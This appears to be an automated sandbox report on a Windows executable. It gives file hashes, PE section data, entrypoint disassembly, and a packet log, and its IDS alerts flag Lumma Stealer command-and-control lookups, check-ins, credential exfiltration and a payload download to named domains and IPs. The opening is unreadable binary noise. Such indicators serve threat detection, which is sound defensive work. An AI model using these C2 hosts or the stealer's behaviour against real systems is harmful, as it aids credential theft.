...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	179335
Entropy (8bit):	5.435182897681627
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVa:Wof3G0NSkNzMeO7z/l3a
MD5:	517954FBCEBC2B0669606202492A4888
SHA1:	404819BEF2964D493DF3CB29102719025BEA48AF
SHA-256:	211DF9427FF68A7AA97490D30BABCEC089295E6219D461DD2946D24FE919DAEF
SHA-512:	21F79D8CB099D874CB2AD32BCE04ADBDE919F3499363E51FE875C0EB409A4EEF555F349351DAB84E39214E26F5320E6E472C0A6A7C06A4CA9EFD1421174CA0C3
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.522828258830143
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	v5Evrl41VR.exe
File size:	2'940'416 bytes
MD5:	438b2909dabcb5f50d7f5f7812420fd6
SHA1:	0bec9e6261813b035262deb7fd5004c24147ede7
SHA256:	4aa0c956e1ea8cb201adc6f00fc13cd8ae5bfe68306a9fbce999f533562d6dde
SHA512:	44c2060c5b1e1c85719c649aab6ceacdf1940aee9763dd2070c0abd811a802dbd85c89e81731748a726793c20998c30b9e857ad4961d047ae4b6ad2b16c89a86
SSDEEP:	49152:FIEpKgmdPHeZvXXBtJDW7AeLwyaDIfGIM:FSguPHeZvXXLcPM
TLSH:	ADD53B61AD4F71CBE48A1378846BCE429DBD03B5072509D3A86CB87ABDE3DC516B6C34
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig............................../...........@.........................../......t-...@.................................Y@..m..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x6fb000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FCD10B60BAAh
bsf ebp, dword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FCD10B62BA5h
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	a5f1417e12a34b4b6dc46470b93f4ce7	False	0.9995915032679739	data	7.98019458776783	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
oghvwosx	0x55000	0x2a5000	0x2a4200	3f1ee59bc2e4bb64116a1e8ea73abddd	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hemaizfi	0x2fa000	0x1000	0x400	899c8533fa186d07aa722155b5602fce	False	0.7802734375	data	6.074075551746246	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x2fb000	0x3000	0x2200	13895b8cd99281bb942c5db587aa0bec	False	0.09340533088235294	DOS executable (COM)	1.088713945281932	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-28T09:48:26.602085+0100	2058582	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mindhandru .buzz)	1	192.168.2.11	57836	1.1.1.1	53	UDP
2024-12-28T09:48:26.764279+0100	2058584	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (prisonyfork .buzz)	1	192.168.2.11	61127	1.1.1.1	53	UDP
2024-12-28T09:48:26.935764+0100	2058586	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rebuildeso .buzz)	1	192.168.2.11	60592	1.1.1.1	53	UDP
2024-12-28T09:48:27.140575+0100	2058588	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scentniej .buzz)	1	192.168.2.11	49251	1.1.1.1	53	UDP
2024-12-28T09:48:27.291082+0100	2058580	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (inherineau .buzz)	1	192.168.2.11	51880	1.1.1.1	53	UDP
2024-12-28T09:48:27.445107+0100	2058590	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (screwamusresz .buzz)	1	192.168.2.11	63887	1.1.1.1	53	UDP
2024-12-28T09:48:27.587918+0100	2058572	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (appliacnesot .buzz)	1	192.168.2.11	59801	1.1.1.1	53	UDP
2024-12-28T09:48:27.731116+0100	2058576	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cashfuzysao .buzz)	1	192.168.2.11	60668	1.1.1.1	53	UDP
2024-12-28T09:48:27.873165+0100	2058578	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hummskitnj .buzz)	1	192.168.2.11	56301	1.1.1.1	53	UDP
2024-12-28T09:48:29.556080+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49714	23.55.153.106	443	TCP
2024-12-28T09:48:30.374797+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.11	49714	23.55.153.106	443	TCP
2024-12-28T09:48:31.999780+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49720	104.21.66.86	443	TCP
2024-12-28T09:48:32.861261+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.11	49720	104.21.66.86	443	TCP
2024-12-28T09:48:32.861261+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.11	49720	104.21.66.86	443	TCP
2024-12-28T09:48:34.170916+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49726	104.21.66.86	443	TCP
2024-12-28T09:48:35.258181+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.11	49726	104.21.66.86	443	TCP
2024-12-28T09:48:35.258181+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.11	49726	104.21.66.86	443	TCP
2024-12-28T09:48:37.334331+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49733	104.21.66.86	443	TCP
2024-12-28T09:48:38.344142+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.11	49733	104.21.66.86	443	TCP
2024-12-28T09:48:39.656110+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49742	104.21.66.86	443	TCP
2024-12-28T09:48:42.097661+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49748	104.21.66.86	443	TCP
2024-12-28T09:48:44.930121+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49758	104.21.66.86	443	TCP
2024-12-28T09:48:47.518935+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49765	104.21.66.86	443	TCP
2024-12-28T09:48:52.545702+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49776	104.21.66.86	443	TCP
2024-12-28T09:48:53.188154+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.11	49776	104.21.66.86	443	TCP
2024-12-28T09:48:54.643172+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.11	49782	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 28, 2024 09:48:21.080600023 CET	49674	443	192.168.2.11	173.222.162.42
Dec 28, 2024 09:48:21.174294949 CET	49673	443	192.168.2.11	173.222.162.42
Dec 28, 2024 09:48:21.877850056 CET	49676	443	192.168.2.11	20.189.173.3
Dec 28, 2024 09:48:22.190006018 CET	49676	443	192.168.2.11	20.189.173.3
Dec 28, 2024 09:48:22.799320936 CET	49676	443	192.168.2.11	20.189.173.3
Dec 28, 2024 09:48:22.846191883 CET	49671	443	192.168.2.11	204.79.197.203
Dec 28, 2024 09:48:24.002353907 CET	49676	443	192.168.2.11	20.189.173.3
Dec 28, 2024 09:48:26.408632040 CET	49676	443	192.168.2.11	20.189.173.3
Dec 28, 2024 09:48:28.161979914 CET	49714	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:48:28.162019968 CET	443	49714	23.55.153.106	192.168.2.11
Dec 28, 2024 09:48:28.162149906 CET	49714	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:48:28.165308952 CET	49714	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:48:28.165328026 CET	443	49714	23.55.153.106	192.168.2.11
Dec 28, 2024 09:48:29.555906057 CET	443	49714	23.55.153.106	192.168.2.11
Dec 28, 2024 09:48:29.556080103 CET	49714	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:48:29.559005022 CET	49714	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:48:29.559017897 CET	443	49714	23.55.153.106	192.168.2.11
Dec 28, 2024 09:48:29.559274912 CET	443	49714	23.55.153.106	192.168.2.11
Dec 28, 2024 09:48:29.614705086 CET	49714	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:48:29.629795074 CET	49714	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:48:29.671329975 CET	443	49714	23.55.153.106	192.168.2.11
Dec 28, 2024 09:48:30.374826908 CET	443	49714	23.55.153.106	192.168.2.11
Dec 28, 2024 09:48:30.374856949 CET	443	49714	23.55.153.106	192.168.2.11
Dec 28, 2024 09:48:30.374867916 CET	443	49714	23.55.153.106	192.168.2.11
Dec 28, 2024 09:48:30.374882936 CET	443	49714	23.55.153.106	192.168.2.11
Dec 28, 2024 09:48:30.374891043 CET	443	49714	23.55.153.106	192.168.2.11
Dec 28, 2024 09:48:30.374898911 CET	49714	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:48:30.374917030 CET	443	49714	23.55.153.106	192.168.2.11
Dec 28, 2024 09:48:30.374963999 CET	49714	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:48:30.374985933 CET	49714	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:48:30.549066067 CET	443	49714	23.55.153.106	192.168.2.11
Dec 28, 2024 09:48:30.549124002 CET	443	49714	23.55.153.106	192.168.2.11
Dec 28, 2024 09:48:30.549235106 CET	49714	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:48:30.549258947 CET	443	49714	23.55.153.106	192.168.2.11
Dec 28, 2024 09:48:30.549387932 CET	49714	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:48:30.579818010 CET	443	49714	23.55.153.106	192.168.2.11
Dec 28, 2024 09:48:30.579863071 CET	443	49714	23.55.153.106	192.168.2.11
Dec 28, 2024 09:48:30.579910994 CET	443	49714	23.55.153.106	192.168.2.11
Dec 28, 2024 09:48:30.579969883 CET	49714	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:48:30.580002069 CET	49714	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:48:30.582154989 CET	49714	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:48:30.582170963 CET	443	49714	23.55.153.106	192.168.2.11
Dec 28, 2024 09:48:30.582195044 CET	49714	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:48:30.582201958 CET	443	49714	23.55.153.106	192.168.2.11
Dec 28, 2024 09:48:30.689888954 CET	49674	443	192.168.2.11	173.222.162.42
Dec 28, 2024 09:48:30.734370947 CET	49720	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:30.734415054 CET	443	49720	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:30.734508038 CET	49720	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:30.734791994 CET	49720	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:30.734805107 CET	443	49720	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:30.783720016 CET	49673	443	192.168.2.11	173.222.162.42
Dec 28, 2024 09:48:31.221206903 CET	49676	443	192.168.2.11	20.189.173.3
Dec 28, 2024 09:48:31.999636889 CET	443	49720	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:31.999779940 CET	49720	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:32.001595020 CET	49720	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:32.001621008 CET	443	49720	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:32.001960039 CET	443	49720	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:32.003246069 CET	49720	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:32.003272057 CET	49720	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:32.003345013 CET	443	49720	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:32.455522060 CET	49671	443	192.168.2.11	204.79.197.203
Dec 28, 2024 09:48:32.861269951 CET	443	49720	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:32.861414909 CET	443	49720	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:32.861486912 CET	49720	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:32.861598969 CET	49720	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:32.861629963 CET	443	49720	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:32.861645937 CET	49720	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:32.861651897 CET	443	49720	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:32.912704945 CET	49726	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:32.912759066 CET	443	49726	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:32.912822008 CET	49726	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:32.913172007 CET	49726	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:32.913187027 CET	443	49726	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:33.218565941 CET	443	49707	173.222.162.42	192.168.2.11
Dec 28, 2024 09:48:33.218709946 CET	49707	443	192.168.2.11	173.222.162.42
Dec 28, 2024 09:48:34.170783043 CET	443	49726	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:34.170916080 CET	49726	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:34.172216892 CET	49726	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:34.172239065 CET	443	49726	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:34.172508001 CET	443	49726	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:34.173964024 CET	49726	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:34.173991919 CET	49726	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:34.174072027 CET	443	49726	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:35.258193016 CET	443	49726	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:35.258246899 CET	443	49726	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:35.258279085 CET	443	49726	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:35.258308887 CET	443	49726	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:35.258310080 CET	49726	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:35.258342981 CET	443	49726	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:35.258363008 CET	49726	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:35.258397102 CET	443	49726	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:35.258431911 CET	49726	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:35.258440018 CET	443	49726	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:35.269392967 CET	443	49726	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:35.269448996 CET	49726	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:35.269479990 CET	443	49726	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:35.277770042 CET	443	49726	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:35.277821064 CET	49726	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:35.277844906 CET	443	49726	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:35.330590010 CET	49726	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:35.377680063 CET	443	49726	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:35.424355984 CET	49726	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:35.424400091 CET	443	49726	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:35.471226931 CET	49726	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:35.907018900 CET	443	49726	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:35.907172918 CET	443	49726	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:35.907228947 CET	49726	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:35.907253027 CET	443	49726	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:35.907277107 CET	443	49726	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:35.907325029 CET	49726	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:35.907428980 CET	49726	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:35.907447100 CET	443	49726	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:35.907465935 CET	49726	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:35.907471895 CET	443	49726	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:36.076873064 CET	49733	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:36.076915979 CET	443	49733	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:36.077055931 CET	49733	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:36.077430964 CET	49733	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:36.077440023 CET	443	49733	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:37.334244967 CET	443	49733	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:37.334331036 CET	49733	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:37.335699081 CET	49733	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:37.335709095 CET	443	49733	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:37.335935116 CET	443	49733	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:37.337275982 CET	49733	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:37.337421894 CET	49733	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:37.337450981 CET	443	49733	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:38.344137907 CET	443	49733	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:38.344232082 CET	443	49733	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:38.344297886 CET	49733	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:38.344547987 CET	49733	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:38.344566107 CET	443	49733	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:38.443253994 CET	49742	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:38.443295956 CET	443	49742	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:38.443403006 CET	49742	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:38.443749905 CET	49742	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:38.443761110 CET	443	49742	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:39.655997038 CET	443	49742	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:39.656110048 CET	49742	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:39.657824993 CET	49742	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:39.657836914 CET	443	49742	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:39.658128977 CET	443	49742	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:39.659599066 CET	49742	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:39.659768105 CET	49742	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:39.659802914 CET	443	49742	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:39.659877062 CET	49742	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:39.659883976 CET	443	49742	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:40.611937046 CET	443	49742	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:40.612108946 CET	443	49742	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:40.612159967 CET	49742	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:40.612312078 CET	49742	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:40.612330914 CET	443	49742	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:40.830570936 CET	49676	443	192.168.2.11	20.189.173.3
Dec 28, 2024 09:48:40.836126089 CET	49748	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:40.836167097 CET	443	49748	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:40.836236954 CET	49748	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:40.836673975 CET	49748	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:40.836687088 CET	443	49748	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:42.097318888 CET	443	49748	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:42.097661018 CET	49748	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:42.098597050 CET	49748	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:42.098613024 CET	443	49748	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:42.099714041 CET	443	49748	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:42.102147102 CET	49748	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:42.102279902 CET	49748	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:42.102300882 CET	443	49748	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:42.102366924 CET	49748	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:42.102375984 CET	443	49748	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:43.081497908 CET	443	49748	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:43.081607103 CET	443	49748	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:43.081660986 CET	49748	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:43.082062960 CET	49748	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:43.082078934 CET	443	49748	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:43.710424900 CET	49758	443	192.168.2.11	104.21.66.86
